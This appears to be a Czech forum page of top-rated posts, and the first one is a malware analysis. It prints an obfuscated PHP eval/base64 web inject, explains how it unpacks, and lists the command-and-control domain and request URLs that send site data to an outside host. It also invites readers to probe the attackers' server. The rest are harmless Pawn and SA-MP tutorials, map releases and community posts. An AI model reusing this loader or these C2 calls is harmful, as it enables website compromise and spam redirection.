elJYulgBPeJoA0NtA0NIlvgREjUV9dU250iB50CYWaU2pyWRwriopXi2waWYNTnoLAYIulJYulJYulKOXkPBEkNIlIK29aWOwaWY10ZoSkzIS0ioX0C2X0UBF7JOAePoprioK9WoEbCxlInxLAYIulJYulJYulgBPeN3EcN3EcnYEeWO1Lo2AyUtEkUtKLp29MgREjUOWkWOAyUtEkUtKtnhk7fKelJYulJYulJYulJYuvgREjUV9dU250iB50Jf0lN3Eco3pkNOqXP2QeJb9MgREjUOWkWOAyUtEkUtKICYNtCYEeWO1Lo2AyUtEkUtKTzF0nJYulJYulJYulJYuliBAeUcuvgREjUV9dU250iB50zF0nJYulJYulJYulJYulioXTWYlTzF0nJYulJYulJYS9iBqrihSTiIXrWRprWRJepOX0UBqHP29aWOwaWYFti2w0P29aWOwaWfQFGRSXi2Qtnhk7fKelJYulJYulJYulJYSugOwXiOwcnYWJwVEKCrDaGhu1GfulhB50iopaPBFlQ2wcWbwcJDwcNb9cpcv7fKelJYulJYulJYulJYSkZOk0nYv7fKelJYulJYulJR1kURAkJOkbnRA0NtA0NIlvgREjUV9dU250iB50CYWtioEdU250iB50Afu0NOVtihNTnoLAYIulJYulJYulJYulJDSeiBVvioJep0XQwVuyGh4qJfKFAYSzU3KlEb91UbKtnxLAYIulJYulJYulJYulJOw4goKenxLAYIulJYulJYulHBwLN2QlgBPeN3EcN3EcnYEeWO1Lo2AyUtEkUtKLp2WkWOAyUtEkUtKrGfVFPBWkpcvTZF0nJYulJYulJYulJYulKOXkPBEkNIlthVEQQY8qCdDlGruqJD1yWbwvJVSkNb1XUbwaWOq5pcv7fKelJYulJYulJYulJYuvgREjUV9dU250iB50Jf0lN3Eco3pkNOqXP2QeJbWkWOAyUtEkUtKrGfVFPBWkJIFtpcFvgREjUV9dU250iB50nxLAYIulJYulJYulJYulJOXkPBEkNIltxO9dPoETU246JYNapOX0UBqHP29aWOwaWYv7fKelJYulJYulJYulJYSkZOk0nYv7fKelJYulJYulJR0AYl0nJYulJR0AYt0AYl0nitwaP3ETU24lN21TN2pyWYlTJRLAYIulJYuvPBWkUtKlshSrWRp0U2qyW2wcnYEHQ0whwvwhBcWJwVEKo1wxEwpHKQWVxkKtohv7fKelJYulgBPlnYEXi2waWYuXshuIJIvlZF0nJYulJYulJYuvi29yi2qkKb90Jf0lPopcPoveJvWyU2WLiBpyWYJLJkkXgO9yJhSxURwcNYJLJkkXgO9yJVALWopFJIFIE29yi2qkJDVvQ2waN2QICYWtU29tUOQtCYutZBVeU28tnxLAYIulJYulJYulib9ciBVdgYuepOWyU2WLiQpyWYSXNcuvWbVLnhS7fKelJYulJYulJYulJYuvN3EcJf0lN3EcWO9LU3WkNIlvWbVLnxLAYIulJYulJYulJYulJOkbJYXrWRpFU3GepOVtiB50CYuvN3EcnhvlZF0nJYulJYulJYulJYulJYulJRpkWRwcUIS0NtwkzF0nJYulJYulJYulJYulHK0nJYulJYulJYS9fKelJYulHBwLN2w7fKelJYulJYulJRpkWRwcUISbPBqrixLAYIulJYS9fKT9fKTbWB5dWOkyUISrUB90gOwcPb90nYvlZF0nJYulJYEXi2waWYu9JRA0NtEyUO93ioJepV9xEwpBEwpUp0XQwVSHwwAVQk9SE0wzwYWWnxLAYIulJYSTiIuepOVtiB50JYD9JYJInhS7fKelJYulJYulJYErNOkviopxgoEkJf0lPopcPovlnYpQiB5diB50wRpXWbwLioJICYpjN25IU3KICYpxU3AyN3STiOwcncJLJkAyi291JRWkPISrNOkvioJICYpTPw9XNbAegoikNIJLJkkyWBEXU0pyWYJLJv1xxvpyWYJLJvTXWbDlnD9bWOwaJRAFPB0lPb90nhJLJvpXgQE1Q3STiOwcJIFIwb9TUODICYpiPB5viollPb90JIFIKkAFgBEkNIJLJtE3gBAkUOwcJIFIQ29tU3QlQ3STiOwcJIFIQ3SkiBE5JVAFgBEkNIJLJvXkNbk0Nbk4JIFIQRk0gO9aCowcUOqTPIJLJvVLioXXJYXpKhSSNbAegoikNIvICYpSN2LICYpVZOVIU3KICYpfWoA0UcJLJv91WOiyZDpyWY9iU2EXU0pyWYJLJtkXP3vICYpxWop2iokYU3KICYpLiBWrJIFIURWFCoEcgoiTPBFICYpzWoEdgYJLJkA0PBAMQbVjPbqkNIJLJkEeihS3iBJlPopdgOk2ihuehQDlKopdgOk2ioJTJIFIQOwcUYS0U29LJIFIxQeqGbpyWYJLJv5kWOAcPBi0JIFIxwApEQAcPoWLioJICYpoE2w0JREyU2qrJIFIUOVcPbkaJIFIEbkrgYSriBVcP2lICYutPbkai2pyWYNLJYWIPBkvWhNLJYWXU2FtCYutPbkaicNLJYWiPB5vioXYU3KtCYutKBXciBirKb90pcv7fKelJYulJYulJOiyNbwXP2llnYErNOkviopxgoEkJOVrJYE2PBFTJRLAYIulJYulJYulJYulJYErWRJlshSrWRp0U2qyW2wcnYE2PBFTzF0nJYulJYulJYulJYulgBPlnRA0NtSyNclvPBWkUtKLJYErWRJTnhS7fKelJYulJYulJYulJYulJYulNbw0WopaJREcWBQ7fKelJYulJYulJYulJYS9fKelJYulJYulJR0AYIulJYS9iBqrioLAYIulJYulJYulNbw0WopaJOiXURAkzF0nJYulJR0AYt0AYbi1UbA0gB9aJRAjU3w0iO8epRwcUYk7fKelJYulpOiTUOwHP29aWOwaWRGlshSuibkLiw9tioEHP29aWOwaWRGepRwcUYv7fKelJYulgBPlnYDvibkLiw9dU250iB50NcvlZF0nJYulJYulJYuvP2llshSdWopLo2kagoKenxLAYIulJYulJYulP3wcUV9rioEyNRKepOAeCYSfwwpGx1SQo1whxYFlpRwcUYv7fKelJYulJYulJOA1NbqHN2w0U3S0nYEdgYFlK1whxD9KwV9hEwEwQv5QQvVzQ0iVQIFqnxLAYIulJYulJYulpOiTUOwHP29aWOwaWRGlshSdWopLo2w4iBGepOAenxLAYIulJYulJYulP3wcUV9dUO9rihlvP2lTzF0nJYulJR0AYIulJYScioE1Nb4lpOiTUOwHP29aWOwaWRG7fKT9fKTbWB5dWOkyUISLgoA0EOkcnYEvgoJTZF0nJYulJYEbgBqkPopcJf0lPopcPovenxLAYIulJYSTiIXTN19vgoJepOETNIvTZF0nJYulJYulJYSTiIuepOEeJf0lU3SkUbETNIlviOkcnhk7fKelJYulJYulJYulJYS3gOkLihuenYEbgBqkJf0lNbwXiOETNIlviOlTnhuXsx0libVLN2QTZF0nJYulJYulJYulJYulJYulJOkbnYXbgBqko2w4goA0NclviOkcCIJyJI4vibkLihvTJYPbJYEbgBqkJx0ICIJlpIPlpOiTUOQXshJaCIJTZF0nJYulJYulJYulJYulJYulJYulJYuvibkLiBVcNkjWJf0lpOiTUOQ7fKelJYulJYulJYulJYulJYulHK0nJYulJYulJYulJYulHK0nJYulJYulJYulJYulP2qyN2wvgoJepOEenxLAYIulJYulJYulHK0nJYulJR0AYIulJYScioE1Nb4lpOiTUOwXNtJ7fKT9fKe/sl=="; eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000)))); Celý výstup je ve skutečnosti jednořádkový, ale odbouchl jsem konec na kterém začínal další eval - aby jste ho vůbec zaregistrovali Překvapením je další base64 enkrypt + další eval, který spouští další záhadu. Začíná se to trochu zamotávat, přejdeme tedy na php sandbox, který nám pomůže sledovat celý proces a jeho postup (https://sandbox.onlinephpfunctions.com/). Vložíme si do něj náš původní inject, nicméně "eval" přepíšeme na echo - tím dostaneme podobný výstup jako na dekodéru base64. Ten nicméně zkopírujeme a vložíme ZA náš původní inject. Přepsaný eval na echo můžeme odstranit úplně i s původním enkryptem - zbytečně by zasíral výstup. Pokud vám kód nejde spustit, zkontrolujte si verzi PHP a chyby na výstupu inject funguje jen na verzi php 5.6.* a na 7+ nepoběží Druhý eval znovu přepíšeme na echo a při dalším spuštění již získáme celý surový kód našeho viru: https://pastebin.com/i3ASp9Qv (má nějakých 500 řádků - zbytečně bych projebal místo v topicu ) Než se mrkneme na samotný kód a jeho přibližnou funkci, pojďme se podívat jakým způsobem probíhá samotné rozbalení tohoto viru: $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A"); $O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30}; $O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24}; $OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24}; $OO0000=$O00OO0{7}.$O00OO0{13}; $O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30}; Celá tato blbost vlastně zajistí, že kód netriggerne žádné vzorce virus scannerů apod. Řetězec prvního řádku po urldecode vypadá takto: n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j Pojďme probrat co vlastně dělá znamená každá část se složenými závorkami: echo $O00OO0{3} //b echo $O00OO0{6}; //a echo $O00OO0{33}; //s echo $O00OO0{30}; //e echo $O00OO0{33}; //s echo $O00OO0{10}; //t echo $O00OO0{24}; //r echo $O00OO0{10}; //t echo $O00OO0{24}; //r echo $O0OO00{0}; //s echo $O00OO0{18}; //u echo $O00OO0{3}; //b echo $O0OO00{0}; //s echo $O0OO00{1}; //t echo $O00OO0{24}; //r echo $O00OO0{7}; //5 echo $O00OO0{13}; //2 echo $O00OO0{22}; //6 echo $O00OO0{36}; //4 echo $O00OO0{29}; //_ echo $O00OO0{26}; //d echo $O00OO0{30}; //e echo $O00OO0{32}; //c echo $O00OO0{35}; //o echo $O00OO0{26}; //d echo $O00OO0{30}; //e Rozbalovač tedy složí názvy PHP funkcí z náhodně vypadajícího textu a poté je spustí pomocí funkce "eval" (která převede string na PHP kód a spustí ho) $O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30}; //base $O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24}; //strtr $OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24}; //substr $OO0000=$O00OO0{7}.$O00OO0{13}; //52 $O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30}; //64_decode eval($O00O0O.. tedy ve skutečnosti znamená eval(base64_decode... Je nutno podotknout, že eval neselže, protože stupidní PHP opravdu, když potká $O00O0O, ho převede na base64_decode, protože to je přece hodnota této proměnné a PHPčku nevadí pokud typ proměnné je string a je využita jako volací funkce. Náš druhý base64 enkrypt se tedy přeloží ještě před spuštěním jeho evalu a poté je opravdu spuštěn evalem. Zde začíná payload fáze viru, ve které si jednak připraví půdičku pro práci a také vykoná veškeré nekalosti, kterými byl obdařen. Nestudoval jsem vir dopodrobna, spíš jsem ho obecně prohlédl abych zhruba zjistil co je jeho záměrem. Dle mého názoru má vir z webovky udělat zombie a přesměrovat její traffic na spoustu crapwebů + vytvořit nový sitemap, nasměrovat na něj roboty a zkurvit tím i SEO - protože roboti začnou lozit na crapweby a spojovat je s naším webem. Zahlédl jsem i nějaké pingy na google a random webovku v Indii, nejspíš kontrolní před kontaktem s domácím serverem, který odpovídá nesmysluplně na dotazy jen pokud dostane v $_GET požadavku zz=true (debilita). Vir je psaný v takové té indické angličtině (chybějící písmenka, zvláštní gramatika, však to znáte), pinguje a dotazuje indické weby - něco mi říká, že to bude práce Indie. Všiml jsem si i náznaku jakéhosi ovládání přes GET parametry + nějaké návratové hodnoty v response domácího serveru.. Hlavní mamina tohoto skriptu je adresa: $goweb = 'dthirty-eight2.sigfoxfoundationg.shop'; dále pinguje na: $data_new = 'https://www.google.com/ping?sitemap='.'https://'.$host.'/'.$add_content; a hned u toho v komentáři lze najít "http://www.gudangsehat.com/mapindex.xml" Mamina funguje na několika PHP souborech: 'dthirty-eight2.sigfoxfoundationg.shop/a.php' 'dthirty-eight2.sigfoxfoundationg.shop/sitemapdtn.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&filetype='.$filetype.'&map_splits_num='.$map_splits_num.'&map_num='.$map_num.'&dataNew='.$dataNew 'dthirty-eight2.sigfoxfoundationg.shop/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&jdir='.$jdir.'&clock='.$clock.'&uri='.$smuri.'&lang='.$lang.'&os='.$os.'&urlshang='.$urlshang.'&http_clock='.$http_clock 'dthirty-eight2.sigfoxfoundationg.shop/sitemap.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&filetype='.$filetype.'&map_splits_num='.$map_splits_num.'&map_num='.$map_num.'&dataNew='.$dataNew.'&uri='.$smuri.'&http='.$http A podle jednoho testu s random hodnotami, mamina nemá žádné extra kontroly vstupu. a.php mi vrací jen nějakou blbost - nejspíš nějakým způsobem využitá pro kontrolu čehosi. Zdá se to jako md5 nějakého nesmyslu - možná zasaltěná IP adresa. sitemapdtn.php vrátila obsah do sitemap xml - seznam crapwebů, které má zombie dotovat. index.php vrací jen super promyšlené hlášky jako "nobotuseragent", "okhtmlgetcontent", "getcontent500page", "getcontent404page" (vycucáno ze skriptu) if(stristr($smuri_tmp,'.css')){ $web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&jdir='.$jdir.'&clock='.$clock.'&uri='.$smuri.'&lang='.$lang.'&os='.$os.'&urlshang='.$urlshang.'&http_clock='.$http_clock; $html_content = trim(smoutdo($web)); if(!strstr($html_content,'nobotuseragent')){ if(strstr($html_content,'okhtmlgetcontent')){ @header("Content-type: text/css; charset=utf-8"); $html_content = str_replace("okhtmlgetcontent",'',$html_content); echo $html_content; exit(); }else if(strstr($html_content,'getcontent500page')){ @header('HTTP/1.1 500 Internal Server Error'); exit(); }else if(strstr($html_content,'getcontent404page')){ @header('HTTP/1.1 404 Not Found'); exit(); } } } S posledním sitemap.php už jsem se ani neobtěžoval srát. Pokud chcete, feel free a pohrajte si s čmoudama jak chcete. Pochybuji, že napácháte nějaké bolestivé škody - tihle blbci se možná vysrali na ochranu jejich díla, ale vůbec je nebude bolet, když se jim do toho někdo proláme. Prostě ráno přijdou do roboty, kopnou do mašiny, crawler začne prolízávat webovky a když se podaří nějakou prolomit, tak je to pro ně stejně jak prd do větru. Těch webovek jsou tisícovky, virus tam běží max. pár dní (pro mrtvoly - neobsluhované mrtvé weby - indefinitely) naprdí nějakej traffic do poolu a vyhasne, jede se dál.
    5 points
  38. Vypada to hezky, jen abych rekl pravdu cekal jsem ze ten kun bude behat od zacatku ke konci a uvidime i ty soupere. Ale jinak pekny
    5 points
  39. Bitové operátory Obsah Úvod Bitové operácie Operácia not Operácie and, or Operácie shl, shr Operácia xor 1. Úvod K napísaniu tohoto návodu ma inšpiroval tento príspevok z roku 2012, ktorý podľa môjho názoru má k dnešnej úrovni našich návodov celkom nízku kvalitu a tiež v ňom chýbajú určité informácie. Niektoré body z neho som podobne použil aj ja. V príspevku budú tiež cvičenia, ktoré kým spravíte, rozhodne budete bitovým operáciám rozumieť. Nejaký čas nad cvičeniami určite strávite. V praxi majú tieto operácie veľký význam, predsalen, ak jeden bit môže mať hodnotu 0, alebo 1, tak so znalosťami bitových operátorov je možné do jedného 32-bitového čísla (klasická premenná v Pawn) uložiť 32 true/false hodnôt. Do úvodu však ešte uvediem, že síce dokážu neuveriteľne šetriť pamäť (v prípadne jednej bool hodnoty až 32násobná úspornosť), tak každá operácia trvá určitý čas a z úmyslu ušetriť pamäť by výsledok mohol byť až strata rýchlosti. Ak potrebujete pracovať s binárnymi číslami, Windows kalkulačka je najvhodnejší nástroj (Štart->calc.exe->Možnosti->Programátorská). Otázky sa môžete pýtať v komentároch. Veľa šťastia a nových vedomostí. 2. Bitové operácie Najmenšia dátová jednotka na počítači je bit, ktorý patrí do množiny {0, 1}. Vždy nadobúda práve jednu hodnotu. Operácie prebiehajú v dvojkovej sústave. Desiatková sústava pozostáva z {0, 1, 2, 3, 4, 5, 6, 7, 8, 9}. Jeden bajt má osem bitov. Keďže v Pawn sa používajú len 4-bajtové premenné, všetky bunky majú 32 bitov. Množina {0, 1} sa dá zobraziť do množiny {false, true}. Premenná, ktorá môže nadobúdať iba hodnoty true a false máva typ "bool", po matematikovi Georgeovi Booleovi. Pawn umožňuje vypisovať čísla v binárnom tvare na konzolu. Stačí do printf() dať namiesto "%d" (decimal - desiatková sústava) "%b" (binary - binárna sústava). Kód si spustite. #include <a_samp> main() { for (new i; i < 16; i++) { printf("%2d = 0b%04b", i, i); } } Cvičenie 1. V Pawn existujú kľúčové slová true a false. Keďže je to beztypový jazyk, je možné zamieňať typy premenných (vyskočí iba warning). Zistite k akým celočíselným hodnotám sa dajú priradiť výrazy true a false pomocou nasledujúceho kódu: #include <a_samp> main() { new a = ??; if (a) { ?? } } 3. Operácia not Všetky bity naraz je možné znegovať operáciou not, ktorá má len 1 argument a značí sa '~'. #include <a_samp> main() { new a = 0b11001100; printf("%032b", a); printf("%032b", ~a); } 4. Operácie and, or Operácie and a or majú dva parametre a ich výsledkom je jedna premenná s rovnakým počtom bitov. Operácie and a or sa v Pawn vykonávajú na všetkých bitoch premennej zaradom, akoby v cykle. Najprv sa vykoná operácia na prvých bitoch premnenných, potom na druhých bitoch premenných, atď. Pawn obsahuje operátor '&' pre operáciu and, ktorá je tiež nazývaná "bitový súčin". Súčin preto, lebo výsledok tejto operácie je "1" iba v prípade, že obidva parametre sú "1". Operáciu or (tiež nazývanú logický súčet) zapisujeme v Pawne operátorom '|'. To, ako Pawn chápe '&' a '|', nám môže sám ukázať. Vašou úlohou je tieto operácie pochopiť priamo od neho. Výstup programu kvôli prehľadnosti pripomína mechanické sčitovanie "pod sebou na papieri". #include <a_samp> main() { new a = 0b1010, b = 0b1100; printf("0b%b\n0b%b &\n------\n0b%b\n\n", a, b, a & b); printf("0b%b\n0b%b |\n------\n0b%b\n\n", a, b, a | b); } Cvičenie 2. Pri prenose dát sa z kontrolných dôvodov pridáva k preneseným dátam jeden bit navyše, jedná sa o tzv. paritný bit. Prenáša sa 8 dátových bitov a jeden paritný - ten úplne naľavo je paritný. (tj. "100000101"). Vašou úlohou je naprogramovať detekciu hodnoty paritného bitu. Doplňte do nasledujúceho kódu operáciu binárneho súčinu, aby kód správne fungoval. Rada: Chcete detekovať, či bol daný bit nastavený na "1". #include <a_samp> main() { new number = 0b100101101; if (parityBitSet(number)) { print("Paritny bit je nastaveny na 1."); } } parityBitSet(number) { if (??) { return true; } else { return false; } } Cvičenie 3. V zastaralej databáze údajov, ktorá musela šetriť maximálny možný priestor, sú údaje o obyvateľoch uložené v bitoch. Napr. nultý bit (úplne vpravo) obsahuje pohlavie (0-muž/1-žena), ten vedľa neho obsahuje informáciu, či osoba poberá dávky v hmotnej núdzi, nasledujúci hovorí o zamestnanosti danej osoby, atď. Databáza používa celkovo 16 bitov, ostatné sú nedefinované. V novej verzii databázy sa zmenil význam piateho bitu a preto chceme bez zmeny ostatných informácií vynulovať daný bit každej osobe. Doplňte procedúru update() tak, aby databáza spĺňala nové požiadavky. #include <a_samp> new people[] = { 0b1100111100110101, 0b0011001101010101, 0b1111111001110111 }; main() { update(); for (new i; i < sizeof(people); i++) { printf("%016b", people[i]); } } update() { for (new i; i < sizeof(people); i++) { ?? } } 5. Operácie shl a shr Nasledujúce dve operácie vykonávajú aritmetické bitové posuny. Aritmetické znamená, že pri posune sa zachová (záporné), alebo vznikne (záporné) znamienko. SHL a SHR sú skratky pre shift left a shift right. Operátormi pre tieto operácie sú "<<" a ">>". Argumentom bitového posunu je počet bitov, o ktoré chceme číslo posunúť. Pri operátore "<<" je novo-pridaný bit 0. #include <a_samp> main() { new a = 1; for (new i; i < 8; i++) { printf("%08b", a << i); } printf(""); a <<= 3; // je mozne pouzit aj tuto syntax printf("%08b", a); } Na binárnej úrovni sa rozlišujú záporné a kladné čísla najvyšším bitom, tj. celková kapacita 4 bajtov je rozdelená na 2 polovice - kladnú a zápornú. U záporných čísel je 31. bit (ten úplne naľavo) vždy 1, pričom u kladných 0. Aritmetický posun vpravo sa teda správa ináč než ten vľavo. Znamienko čísla sa zachováva pri operácii ">>". Operácia ">>" akoby preskočí bit, ktorý určuje zápornosť čísla a posúva všetky ostatné bity. Lepšiu predstavu o tomto procese získate spustením nasledujúceho kódu. Existuje ešte tretí, logický operátor pre posun vpravo, ktorý (záporné) znamienko nezachováva ani nevytvára. Tento operátor je ">>>". #include <a_samp> main() { new a = -10; printf("%032b = %d", a, a); printf("%032b = %d", a >> 1, a >> 1); printf("%032b = %d", a >> 2, a >> 2); printf("%032b = %d", a >>> 1, a >>> 1); printf("%032b = %d", a >>> 2, a >>> 2); } Cvičenie 4. Majme v desiatkovej sústave číslo "65421". Toto číslo z hlavy vydeľte číslom "100", resp. "10^2". Zvyšok zanedbajte. Výsledok si overte. Cvičenie 5. Majme v binárnej sústave číslo "1101010". Z hlavy vydeľte toto číslo číslom "4", resp. "2^2". Zvyšok zanedbajte. Výsledok si overte. Rovnakým spôsobom výsledok vynásobte číslom "4". Dostali ste pôvodné číslo? Cvičenie 6. Doplňte riešenie cvičenia 2 tak, aby nie len kontrolovalo paritný bit, ale aby kontrolovalo, či je paritný bit správny. Skontrolujte hodnotu všetkých bitov a rozhodnite, či ich počet (či sú párne) sedí s informáciou z paritného bitu. Takáto kontrola sa v praxi používa pri prenose dát. Cvičenie 7. Doplnením do kódu nižšie vygenerujte číslo s takýmto tvarom: "0b1010101010101010". Rada: použite okrem operácie na bitový posun aj bitový súčet (na nastavenie bitu) a bitový súčin (na overenie/zistenie hodnoty nejakého bitu). #include <a_samp> main() { new number = 0; for (new i; i < 15; i++) { if (!(??)) { ?? } ?? } printf("0b%016b", number); } 6. Operácia xor Ako aj v názve, tak aj vo funkcionalite sa podobá operácii or. #include <a_samp> main() { new a = 0b1010, b = 0b1100; printf("0b%b\n0b%b ^\n------\n0b%04b\n\n", a, b, a ^ b); } Cvičenie 8. Istý fanúšik jazyka assembler, Rendall Hide, má rád prácu s bitmi. Posledne o sebe tvrdí, že našiel vlastnosť, ktorá dokáže nastaviť zázračným spôsobom hodnotu akejkoľvek premennej na 0. Mnohí ho majú za blázna a nepočúvajú čo hovorí, ale je naozaj blázon, alebo len neodborná programátorská verejnosť nerozumie kráse jeho mágie? Tvrdí, že dokáže vynulovať premennú bez použitia iných konštánt ako "0" a bez operácií ako násobenie, odčítanie či and. Údajne je táto vlastnosť zapísaná tu: n xor n = 0 Preskúmajte túto údajnú vlastnosť a overte, či Rendall Hide bol naozaj blázon, alebo majster majstrov. Cvičenie 9. Nádejný programátor Peter "VlastneŠifrovanieJeNajlepšie" Skutočný si všimol neuveriteľnú a jedinečnú vlastnosť operácie xor. Nazdáva sa, že by možno odhalil niečo, čo by nazýval "symetrické šifrovanie", hoc názvom si ešte nie je istý. Prezrite a vylúštite na bitovej úrovni pozadie tejto operácie. #include <a_samp> const secret = 123456; main() { new number = 9087324; number = encode(number); printf("My new hashed password is: %d", number); number = decode(number); printf("The real password is: %d", number); } encode(number) { return number ^ secret; } decode(number) { return number ^ secret; } Cvičenie 10. Alen During, známy hejter, si s obľubou prezerá internet a hľadá veci na kritiku. Po zlej noci počas ranného rituálu s telefónom našiel príspevok Petra Skutočného a jeho procedúry encode() a decode(). Nemal však chuť sa niečím takým zaoberať a tak mu zo svojho smartphone-u poslal jediný snippet bez slov. Čo ním asi chcel povedať? #include <a_samp> main() { new crackedSecret = gimmeSecret(9087324, 9128732); printf("%d", crackedSecret); } gimmeSecret(pass, hashedPass) { return pass ^ hashedPass; }
    5 points
  40. Zdravím. Před čtyřmi lety jsem dostal nápad že bych mohl opravit a dostavit dannou část města Liberty City které se nacházi v Interioru 1, mapu jsem nedodělal, a nyní jsem to vyhrabal ze staršího PC a Liberty dodělal. Jedná se o originalní část města která byla opravena od všech bugů , aby se nepropadalo pod mapu a neprocházelo stěnami , také část města byla dostavena podle originálu GTA 3. Info Silnice které vedou dál Něco víc Obrázky Icngnito Object Streamer ackslimit 50000 Liberty City (original).zip
    5 points
  41. Multi jazyk pre GM Obtížnost: 2/5 Osnova/obsah: 1. Úvod 2. Čo je multi jazyk (multilanguage) a načo sa dá použiť? 3. Vytváranie vlastných funkcií a ich použitie 4. Záver 1. Úvod Tento návod som sa rozhodol vytvoriť, pretože v dnešnej dobe už GM s jedným jazykom nemá veľkú popularitu, a mladší hráči ktorý neovládajú veľmi angličtinu nehrávajú na serveroch písaných po anglicky. Upozorňujem, že tento návod nie je copy + paste. Pre tvorbu svojích funkcií je nutné kódu rozumieť. 2. Čo je multi jazyk a načo sa dá použiť? Multi jazyk je implementácia dvoch a viacerých jazykov do GM. V tomto návode sa Vám posnažím čo najjednoduchšie vysvetliť, ako si vytvoriť svoje funkcie na multijazyčnosť a ako ich použiť. Multijazyčnosť je vhodná pre servery, ktoré plánujú expandovať na zahraničný "trh" a tým rozšíriť svoju klientelu (hráčov). 3. Vytvárania vlastných funkcií a ich použitie Celý systém funguje na princípe #define. Pre pochopenie kódu je nutné poznať: #include, #define, cyklus for, SendClientMessage/ToAll, format(...) V prvom rade, budeme potrebovať definície naších textov (textových reťazcov/stringov). Pre lepší prehľad som ich vložil do zložky INCLUDE s názvom lang_SK.inc a lang_CZ.inc. !!! POZOR !!! Je nutné nastaviť formátovanie textu na ANSI. lang_CZ.inc lang_SK.inc new.pwn
    5 points
  42. Podle posledních informací od niCe spolupracujícího s Open.MP týmem bude SA-MP pokračovat jako Open.MP. Nový dočasný "oficiální" web SA-MP je https://www.sa-mp.mp/ , kde je nejen veškerý obsah z původního oficiálního webu, ale i aktualizovaný klient SA-MP s funkčním tabem "Internet". Stránka je prolinkovaná s odkazy na oficiální Open.MP. Navíc je stránka lokalizovaná - zobrazí se vám v jazyce, ve kterém máte internetový prohlížeč (resp. první preferovaný jazyk prohlížeče). Co se týče kompatibility, tak Open.MP je plně zpětně kompatibilní se SA-MP + při postupném vývoji vlastního klienta pro Open.MP přibudou i nové věci. Pojďme SA-MP zachránit :D
    4 points
  43. Update textur. Momentálně to vypadá mnohem zajímavěji, i když textury ještě nenavazují
    4 points
  44. Cena za tohle bude začínat tak na cca desetinásobku toho co uvádíš. a to ještě u nějakého zoufale chudého studenta
    4 points
  45. Ahoj, náhodou jsem našel na youtube docela hodně zajímavý mód, který přidává do původního San Andreas další dvě kompletní celé mapy Vice City a Liberty City. Mapy jsou propojené mostem a při přesunu mezi městy se změní všechny modely aut co ve městech jezdí, ikony zbraní, počasí apod. Je to jako hrát 3 hry najednou. Jsou zde i funkční původní interiory. Ještě jsem to nezkoušel, ale řekl bych že by se vám to mohlo líbit. Dejte vědět kdo zkusí jaký z toho máte pocity!
    4 points
  46. Super popis problému! Jak si představuješ, že ti z tohohle popisu někdo dokáže pomoct?
    4 points
  47. Zdravíčko přátelé - možná jste zabrouzdali na toto fórum náhodou, možná hledáte zdroje k výuce programování, či si jen stavíte informační balík a zvažujete, jestli se do toho pustit. Na všechny vaše základní otázky bych rád odpověděl jednou větou - programování je styl života. A dále ji rozvedu: Jakmile se jednou naučíte programovat, už se nedokážete na jakoukoliv technologii koukat stejným způsobem jako kdy dřív. Jakmile začnete myslet analyticky, změní se vám pohled na celý svět. Osvojíte si nové dovednosti nejen na počítači, ale i v běžném životě. Programování prostě nehorázně ovlivní váš každodenní život a pokud mu propadnete tak jako například já - dá se říct, že vás úplně pohltí. Když se chce člověk naučit programovat, musí se naučit myslet jako stroj, představit si práci kódu, postup po řádcích a dokázat udržet v paměti kvantum informací. Při větších projektech jsem musel v hlavě udržet povědomí o několika stovkách názvů a vědět k čemu přesně slouží a případně kde jsou všude využity (a to mluvím jen o proměnných a vlastních funkcích). Nehledě na tisíce dalších názvů funkcí a dalších pojmů, které si musíte pamatovat při schopnosti jakéhokoliv psaní kódu. Programování rozvíjí všechny druhy mentálních schopností - logiku, matematiku, analytiku, strukturu, fantazii, kreativitu. Vy sami si určíte rychlost a intezitu, kterou to do sebe začnete prát - proto také nedoporučuji platit si výukové kurzy - budou to do vás prát rychlým tempem, protože čas jsou peníze a čím víc toho do vás co nejrychleji nahustí, tím více lidí dokážou "obsloužit". Ze zkušenosti vím, že většina nadaných programátorů startuje na programování ve hrách, které hrajou. Dává to smysl, protože právě pomocí her člověk najde v programování zálibu, koníček a smysl. Tvoříte vlastní svět, dle svých pravidel a realizujete vaše vlastní fantazie a nápady - tak jak se vám zachce. Objevujete nové funkce postupně a základy programovacích jazyků ve hrách jsou velmi jednoduché a často stavěné na syntaxi pokročilých jazyků, takže je potom přechod na vyšší level o hodně jednodušší. Z moderních her mohu doporučit jednoznačně Arma 3 (C-like SQF), Minecraft (Java), Rust (C#) a ze starších GTA SA:MP (C-like Pawn), CS GO (Lua / C-like Pawn), Garry's Mod (Lua). Začátek - první krůčky Učte se z dokumentace dané hry (či jazyka) za pomoci experimentování, snažte se vyřešit samostatně všechny chyby, bugy či pády - tímto způsobem se dá naučit nejrychleji, nejlépe a nejzábavněji. Pokud si myslíte, že problém se prostě nedá vyřešit, zkuste kód smazat a napsat ho úplně jinak, myslete tzv. outside-of-the-box - nemějte tunelové vidění. Jako v open-world hrách i programování má více řešení. Pokud problém vyřešíte, zkuste 